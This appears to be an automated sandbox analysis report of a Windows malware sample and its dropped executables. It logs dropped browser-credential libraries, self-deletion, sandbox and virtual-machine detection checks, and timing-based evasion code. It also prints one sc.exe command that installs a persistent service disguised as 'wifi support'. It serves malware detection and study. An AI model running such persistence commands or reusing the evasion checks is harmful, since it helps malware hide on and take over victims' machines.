Source: svchost.exe, 0000001A.00000003.545431297.0000029A0483B000.00000004.00000001.sdmp	String found in binary or memory: AgileDotNetProtector.exe

Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 0_2_00412048 push eax; ret	0_2_00412066
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 0_2_00402965 push ecx; ret	0_2_00402978
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 0_2_004043F5 push ecx; ret	0_2_00404408
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_2_0040205F push ebx; iretd	1_2_00402060
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_2_00402BE4 pushfd ; retf	1_2_00402BE5
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_1_0040205F push ebx; iretd	1_1_00402060
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_1_00402E1C push ss; retf	1_1_00402E1D
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_1_00402BE4 pushfd ; retf	1_1_00402BE5
Source: C:\Users\user\AppData\Roaming\wshgiwf	Code function: 18_2_0040205F push ebx; iretd	18_2_00402060
Source: C:\Users\user\AppData\Roaming\wshgiwf	Code function: 18_2_00402BE4 pushfd ; retf	18_2_00402BE5
Source: C:\Users\user\AppData\Roaming\wshgiwf	Code function: 18_1_0040205F push ebx; iretd	18_1_00402060
Source: C:\Users\user\AppData\Roaming\wshgiwf	Code function: 18_1_00402E1C push ss; retf	18_1_00402E1D
Source: C:\Users\user\AppData\Roaming\wshgiwf	Code function: 18_1_00402BE4 pushfd ; retf	18_1_00402BE5
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_00468249 push ecx; ret	25_2_0046825C
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_0046E2C5 push ecx; ret	25_2_0046E2D8
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Code function: 30_2_02F3B501 push 0000002Bh; iretd	30_2_02F3B507
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Code function: 30_2_02F38D0B push ds; ret	30_2_02F38D0C

Source: C:\Users\user\Desktop\t7p1ekMto0.exe

Code function: 0_2_00406E3E LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

0_2_00406E3E

Source: 66AE.exe.3.dr

Static PE information: 0xF3E8DBF0 [Thu Sep 3 13:09:04 2099 UTC]

Source: 76BD.exe.3.dr	Static PE information: section name:
Source: 76BD.exe.3.dr	Static PE information: section name: \|
Source: 76BD.exe.3.dr	Static PE information: section name: .themida
Source: 76BD.exe.3.dr	Static PE information: section name: .boot
Source: mozglue[1].dll.25.dr	Static PE information: section name: .didat
Source: mozglue.dll.25.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.25.dr	Static PE information: section name: .didat
Source: msvcp140.dll.25.dr	Static PE information: section name: .didat

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: GPU.exe.24.dr	Static PE information: real checksum: 0x0 should be: 0x215e15
Source: 66AE.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x91ec6
Source: CPU.exe.24.dr	Static PE information: real checksum: 0x0 should be: 0x23cba0
Source: 76BD.exe.3.dr	Static PE information: real checksum: 0x31df22 should be: 0x31981b
Source: nruqclie.exe.30.dr	Static PE information: real checksum: 0x28109 should be:
Source: AgileDotNetProtector.exe.24.dr	Static PE information: real checksum: 0x0 should be: 0x3d397

Source: initial sample	Static PE information: section name: .text entropy: 7.57809516146
Source: initial sample	Static PE information: section name: .text entropy: 7.97161355829
Source: initial sample	Static PE information: section name: .text entropy: 7.74005815224
Source: initial sample	Static PE information: section name: \| entropy: 7.99829629323
Source: initial sample	Static PE information: section name: .text entropy: 7.69687826819
Source: initial sample	Static PE information: section name: .text entropy: 7.97362695625
Source: initial sample	Static PE information: section name: .text entropy: 7.57809516146
Source: initial sample	Static PE information: section name: .text entropy: 7.69687826819

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\wshgiwf

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\66AE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5AF4.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\76BD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	File created: C:\Users\user\AppData\Local\Temp\876504d2-be03-42d9-b2f9-6ed891d3a9d2\ .dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\wshgiwf	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	File created: C:\Users\user\AppData\Local\Temp\CPU.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	File created: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\85C3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6209.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6A0A.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	File created: C:\Users\user\AppData\Local\Temp\9a378694-488e-4b83-b03b-9635debd61af\ .dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7DF2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	File created: C:\Users\user\AppData\Local\Temp\GPU.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' create vauvbnqt binPath= 'C:\Windows\SysWOW64\vauvbnqt\nruqclie.exe /d\'C:\Users\user\AppData\Local\Temp\7DF2.exe\'' type= own start= auto DisplayName= 'wifi support'

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

30_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Uses known network protocols on non-standard ports

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 2080
Source: unknown	Network traffic detected: HTTP traffic on port 2080 -> 49725

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\t7p1ekmto0.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\wshgiwf:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe

Code function: 25_2_004626E9 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

25_2_004626E9

Source: C:\Windows\System32\svchost.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5AF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5AF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5AF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process information set: NOGPFAULTERRORBOX

Malware Analysis System Evasion:

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\AppData\Local\Temp\76BD.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\AppData\Local\Temp\76BD.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: t7p1ekMto0.exe, 00000001.00000002.311324216.00000000006FB000.00000004.00000020.sdmp	Binary or memory string: ASWHOOK
Source: t7p1ekMto0.exe, 00000001.00000001.237032622.0000000000400000.00000040.00020000.sdmp	Binary or memory string: QEMU-GA.EXEQGA.EXEWINDANR.EXEVBOXSERVICE.EXEVBOXTRAY.EXEVMTOOLSD.EXEPRL_TOOLS.EXEVS

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\AppData\Local\Temp\66AE.exe	RDTSC instruction interceptor: First address: 00007FFB642B1F0F second address: 00007FFB642B1F90 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec eax 0x0000000a mov dword ptr [esp+28h], eax 0x0000000e dec eax 0x0000000f mov eax, dword ptr [esp+30h] 0x00000013 dec eax 0x00000014 mov ecx, dword ptr [esp+28h] 0x00000018 dec eax 0x00000019 sub ecx, eax 0x0000001b dec eax 0x0000001c mov eax, ecx 0x0000001e dec eax 0x0000001f add esp, 48h 0x00000022 ret 0x00000023 dec eax 0x00000024 mov dword ptr [00010326h], eax 0x0000002a mov dword ptr [esp+28h], 00000000h 0x00000032 jmp 00007F928894478Ch 0x00000034 mov eax, dword ptr [esp+50h] 0x00000038 cmp dword ptr [esp+28h], eax 0x0000003c jnl 00007F92889447C4h 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	RDTSC instruction interceptor: First address: 00007FFB53051F0F second address: 00007FFB53051F90 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec eax 0x0000000a mov dword ptr [esp+28h], eax 0x0000000e dec eax 0x0000000f mov eax, dword ptr [esp+30h] 0x00000013 dec eax 0x00000014 mov ecx, dword ptr [esp+28h] 0x00000018 dec eax 0x00000019 sub ecx, eax 0x0000001b dec eax 0x0000001c mov eax, ecx 0x0000001e dec eax 0x0000001f add esp, 48h 0x00000022 ret 0x00000023 dec eax 0x00000024 mov dword ptr [00010326h], eax 0x0000002a mov dword ptr [esp+28h], 00000000h 0x00000032 jmp 00007F92883B491Ch 0x00000034 mov eax, dword ptr [esp+50h] 0x00000038 cmp dword ptr [esp+28h], eax 0x0000003c jnl 00007F92883B4954h 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CPU.exe	RDTSC instruction interceptor: First address: 00007FFB643D1F0F second address: 00007FFB643D1F90 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec eax 0x0000000a mov dword ptr [esp+28h], eax 0x0000000e dec eax 0x0000000f mov eax, dword ptr [esp+30h] 0x00000013 dec eax 0x00000014 mov ecx, dword ptr [esp+28h] 0x00000018 dec eax 0x00000019 sub ecx, eax 0x0000001b dec eax 0x0000001c mov eax, ecx 0x0000001e dec eax 0x0000001f add esp, 48h 0x00000022 ret 0x00000023 dec eax 0x00000024 mov dword ptr [00010326h], eax 0x0000002a mov dword ptr [esp+28h], 00000000h 0x00000032 jmp 00007F928894478Ch 0x00000034 mov eax, dword ptr [esp+50h] 0x00000038 cmp dword ptr [esp+28h], eax 0x0000003c jnl 00007F92889447C4h 0x0000003e rdtsc

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wshgiwf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wshgiwf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wshgiwf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wshgiwf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wshgiwf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wshgiwf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 6536	Thread sleep count: 647 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6544	Thread sleep count: 522 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6544	Thread sleep time: -52200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6548	Thread sleep count: 740 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6548	Thread sleep time: -74000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6864	Thread sleep count: 417 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6860	Thread sleep count: 738 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6860	Thread sleep time: -73800s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6852	Thread sleep count: 425 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6852	Thread sleep time: -42500s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6908	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6908	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe TID: 5372	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe TID: 6328	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe TID: 4220	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe TID: 4872	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76BD.exe TID: 5832	Thread sleep time: -76000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\66AE.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe

Code function: 25_2_0045F961 GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 0045FA8Ah

25_2_0045F961

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 647	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 522	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 740	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 417	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 738	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 425	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Dropped PE file which has not been started: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Dropped PE file which has not been started: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Dropped PE file which has not been started: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\vcruntime140[1].dll	Jump to dropped file
